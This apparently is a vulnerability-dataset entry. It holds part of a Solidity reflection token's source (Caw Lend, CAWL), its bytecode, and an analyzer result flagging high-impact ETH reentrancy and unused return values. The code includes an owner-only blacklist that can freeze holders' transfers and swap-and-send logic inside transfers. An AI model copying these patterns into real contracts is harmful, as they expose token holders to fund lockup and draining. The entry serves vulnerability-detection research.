if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 9900000 * 10**9;
_maxWalletSize = 30000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612713565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127dd565b6104b4565b60405161018e9190612838565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612862565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129c5565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a0e565b61060c565b60405161021f9190612838565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a61565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190612aaa565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612af1565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b1e565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a61565b6109db565b6040516103199190612862565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612b5a565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612713565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127dd565b610c9a565b6040516103da9190612838565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b1e565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b75565b611328565b60405161046e9190612862565b60405180910390f35b60606040518060400160405280600881526020017f436177204c656e64000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113af565b84846113b7565b6001905092915050565b6000670dbd2fc137a30000905090565b6104ea6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612c01565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b612c21565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060090612c7f565b91505061057a565b5050565b6000610619848484611580565b6106da846106256113af565b6106d5856040518060600160405280602881526020016136b660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b6113af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c119092919063ffffffff16565b6113b7565b600190509392505050565b6106ed6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612c01565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e66113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612c01565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108986113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612c01565b60405180910390fd5b6000811161093257600080fd5b610960606461095283670dbd2fc137a30000611c7590919063ffffffff16565b611cef90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa6113af565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611d39565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da5565b9050919050565b610a346113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612c01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b876113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612c01565b60405180910390fd5b670dbd2fc137a30000600f81905550670dbd2fc137a30000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4341574c00000000000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca76113af565b8484611580565b6001905092915050565b610cc06113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612c01565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a83670dbd2fc137a30000611c7590919063ffffffff16565b611cef90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd26113af565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611e13565b50565b610e136113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612c01565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612d13565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670dbd2fc137a300006113b7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fee9190612d48565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190612d48565b6040518363ffffffff1660e01b8152600401611096929190612d75565b6020604051808303816000875af11580156110b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d99190612d48565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611162306109db565b60008061116d610c34565b426040518863ffffffff1660e01b815260040161118f96959493929190612de3565b60606040518083038185885af11580156111ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d29190612e59565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555066232bff5f46c000600f81905550666a94d74f4300006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e1929190612eac565b6020604051808303816000875af1158015611300573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113249190612eea565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141d90612f89565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611495576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148c9061301b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115739190612862565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e6906130ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361165e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116559061313f565b60405180910390fd5b600081116116a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611698906131d1565b60405180910390fd5b6000600a819055506005600b819055506116b9610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172757506116f7610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d05750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117d957600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118845750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118da5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118f25750600e60179054906101000a900460ff165b15611a3057600f5481111561193c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119339061323d565b60405180910390fd5b60105481611949846109db565b611953919061325d565b1115611994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198b906132ff565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119df57600080fd5b601e426119ec919061325d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611adb5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b47576000600a819055506007600b819055505b6000611b52306109db565b9050600e60159054906101000a900460ff16158015611bbf5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd75750600e60169054906101000a900460ff165b15611bff57611be581611e13565b60004790506000811115611bfd57611bfc47611d39565b5b505b505b611c0c83838361208c565b505050565b6000838311158290611c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c509190612713565b60405180910390fd5b5060008385611c68919061331f565b9050809150509392505050565b6000808303611c875760009050611ce9565b60008284611c959190613353565b9050828482611ca491906133dc565b14611ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdb9061347f565b60405180910390fd5b809150505b92915050565b6000611d3183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209c565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da1573d6000803e3d6000fd5b5050565b6000600854821115611dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de390613511565b60405180910390fd5b6000611df66120ff565b9050611e0b8184611cef90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e4b57611e4a612882565b5b604051908082528060200260200182016040528015611e795781602001602082028036833780820191505090505b5090503081600081518110611e9157611e90612c21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f5c9190612d48565b81600181518110611f7057611f6f612c21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113b7565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161203b9594939291906135ef565b600060405180830381600087803b15801561205557600080fd5b505af1158015612069573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209783838361212a565b505050565b600080831182906120e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120da9190612713565b60405180910390fd5b50600083856120f291906133dc565b9050809150509392505050565b600080600061210c6122f5565b915091506121238183611cef90919063ffffffff16565b9250505090565b60008060008060008061213c87612354565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123bc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612464565b6122858483612521565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612862565b60405180910390a3505050505050505050565b600080600060085490506000670dbd2fc137a300009050612329670dbd2fc137a30000600854611cef90919063ffffffff16565b82101561234757600854670dbd2fc137a30000935093505050612350565b81819350935050505b9091565b60008060008060008060008060006123718a600a54600b5461255b565b92509250925060006123816120ff565b905060008060006123948e8787876125f1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006123fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c11565b905092915050565b6000808284612415919061325d565b90508381101561245a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245190613695565b60405180910390fd5b8091505092915050565b600061246e6120ff565b905060006124858284611c7590919063ffffffff16565b90506124d981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612536826008546123bc90919063ffffffff16565b6008819055506125518160095461240690919063ffffffff16565b6009819055505050565b6000806000806125876064612579888a611c7590919063ffffffff16565b611cef90919063ffffffff16565b905060006125b160646125a3888b611c7590919063ffffffff16565b611cef90919063ffffffff16565b905060006125da826125cc858c6123bc90919063ffffffff16565b6123bc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061260a8589611c7590919063ffffffff16565b905060006126218689611c7590919063ffffffff16565b905060006126388789611c7590919063ffffffff16565b905060006126618261265385876123bc90919063ffffffff16565b6123bc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126b4578082015181840152602081019050612699565b838111156126c3576000848401525b50505050565b6000601f19601f8301169050919050565b60006126e58261267a565b6126ef8185612685565b93506126ff818560208601612696565b612708816126c9565b840191505092915050565b6000602082019050818103600083015261272d81846126da565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277482612749565b9050919050565b61278481612769565b811461278f57600080fd5b50565b6000813590506127a18161277b565b92915050565b6000819050919050565b6127ba816127a7565b81146127c557600080fd5b50565b6000813590506127d7816127b1565b92915050565b600080604083850312156127f4576127f361273f565b5b600061280285828601612792565b9250506020612813858286016127c8565b9150509250929050565b60008115159050919050565b6128328161281d565b82525050565b600060208201905061284d6000830184612829565b92915050565b61285c816127a7565b82525050565b60006020820190506128776000830184612853565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128ba826126c9565b810181811067ffffffffffffffff821117156128d9576128d8612882565b5b80604052505050565b60006128ec612735565b90506128f882826128b1565b919050565b600067ffffffffffffffff82111561291857612917612882565b5b602082029050602081019050919050565b600080fd5b600061294161293c846128fd565b6128e2565b9050808382526020820190506020840283018581111561296457612963612929565b5b835b8181101561298d57806129798882612792565b845260208401935050602081019050612966565b5050509392505050565b600082601f8301126129ac576129ab61287d565b5b81356129bc84826020860161292e565b91505092915050565b6000602082840312156129db576129da61273f565b5b600082013567ffffffffffffffff8111156129f9576129f8612744565b5b612a0584828501612997565b91505092915050565b600080600060608486031215612a2757612a2661273f565b5b6000612a3586828701612792565b9350506020612a4686828701612792565b9250506040612a57868287016127c8565b9150509250925092565b600060208284031215612a7757612a7661273f565b5b6000612a8584828501612792565b91505092915050565b600060ff82169050919050565b612aa481612a8e565b82525050565b6000602082019050612abf6000830184612a9b565b92915050565b612ace8161281d565b8114612ad957600080fd5b50565b600081359050612aeb81612ac5565b92915050565b600060208284031215612b0757612b0661273f565b5b6000612b1584828501612adc565b91505092915050565b600060208284031215612b3457612b3361273f565b5b6000612b42848285016127c8565b91505092915050565b612b5481612769565b82525050565b6000602082019050612b6f6000830184612b4b565b92915050565b60008060408385031215612b8c57612b8b61273f565b5b6000612b9a85828601612792565b9250506020612bab85828601612792565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612beb602083612685565b9150612bf682612bb5565b602082019050919050565b60006020820190508181036000830152612c1a81612bde565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c8a826127a7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cbc57612cbb612c50565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612cfd601783612685565b9150612d0882612cc7565b602082019050919050565b60006020820190508181036000830152612d2c81612cf0565b9050919050565b600081519050612d428161277b565b92915050565b600060208284031215612d5e57612d5d61273f565b5b6000612d6c84828501612d33565b91505092915050565b6000604082019050612d8a6000830185612b4b565b612d976020830184612b4b565b9392505050565b6000819050919050565b6000819050919050565b6000612dcd612dc8612dc384612d9e565b612da8565b6127a7565b9050919050565b612ddd81612db2565b82525050565b600060c082019050612df86000830189612b4b565b612e056020830188612853565b612e126040830187612dd4565b612e1f6060830186612dd4565b612e2c6080830185612b4b565b612e3960a0830184612853565b979650505050505050565b600081519050612e53816127b1565b92915050565b600080600060608486031215612e7257612e7161273f565b5b6000612e8086828701612e44565b9350506020612e9186828701612e44565b9250506040612ea286828701612e44565b9150509250925092565b6000604082019050612ec16000830185612b4b565b612ece6020830184612853565b9392505050565b600081519050612ee481612ac5565b92915050565b600060208284031215612f0057612eff61273f565b5b6000612f0e84828501612ed5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f73602483612685565b9150612f7e82612f17565b604082019050919050565b60006020820190508181036000830152612fa281612f66565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613005602283612685565b915061301082612fa9565b604082019050919050565b6000602082019050818103600083015261303481612ff8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613097602583612685565b91506130a28261303b565b604082019050919050565b600060208201905081810360008301526130c68161308a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613129602383612685565b9150613134826130cd565b604082019050919050565b600060208201905081810360008301526131588161311c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131bb602983612685565b91506131c68261315f565b604082019050919050565b600060208201905081810360008301526131ea816131ae565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613227601983612685565b9150613232826131f1565b602082019050919050565b600060208201905081810360008301526132568161321a565b9050919050565b6000613268826127a7565b9150613273836127a7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132a8576132a7612c50565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132e9601a83612685565b91506132f4826132b3565b602082019050919050565b60006020820190508181036000830152613318816132dc565b9050919050565b600061332a826127a7565b9150613335836127a7565b92508282101561334857613347612c50565b5b828203905092915050565b600061335e826127a7565b9150613369836127a7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133a2576133a1612c50565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133e7826127a7565b91506133f2836127a7565b925082613402576134016133ad565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613469602183612685565b91506134748261340d565b604082019050919050565b600060208201905081810360008301526134988161345c565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006134fb602a83612685565b91506135068261349f565b604082019050919050565b6000602082019050818103600083015261352a816134ee565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61356681612769565b82525050565b6000613578838361355d565b60208301905092915050565b6000602082019050919050565b600061359c82613531565b6135a6818561353c565b93506135b18361354d565b8060005b838110156135e25781516135c9888261356c565b97506135d483613584565b9250506001810190506135b5565b5085935050505092915050565b600060a0820190506136046000830188612853565b6136116020830187612dd4565b81810360408301526136238186613591565b90506136326060830185612b4b565b61363f6080830184612853565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061367f601b83612685565b915061368a82613649565b602082019050919050565b600060208201905081810360008301526136ae81613672565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205c36f24b130d49d7e61db6faf31a3ee163b099293d4abd840394fec59b34726064736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,357 |
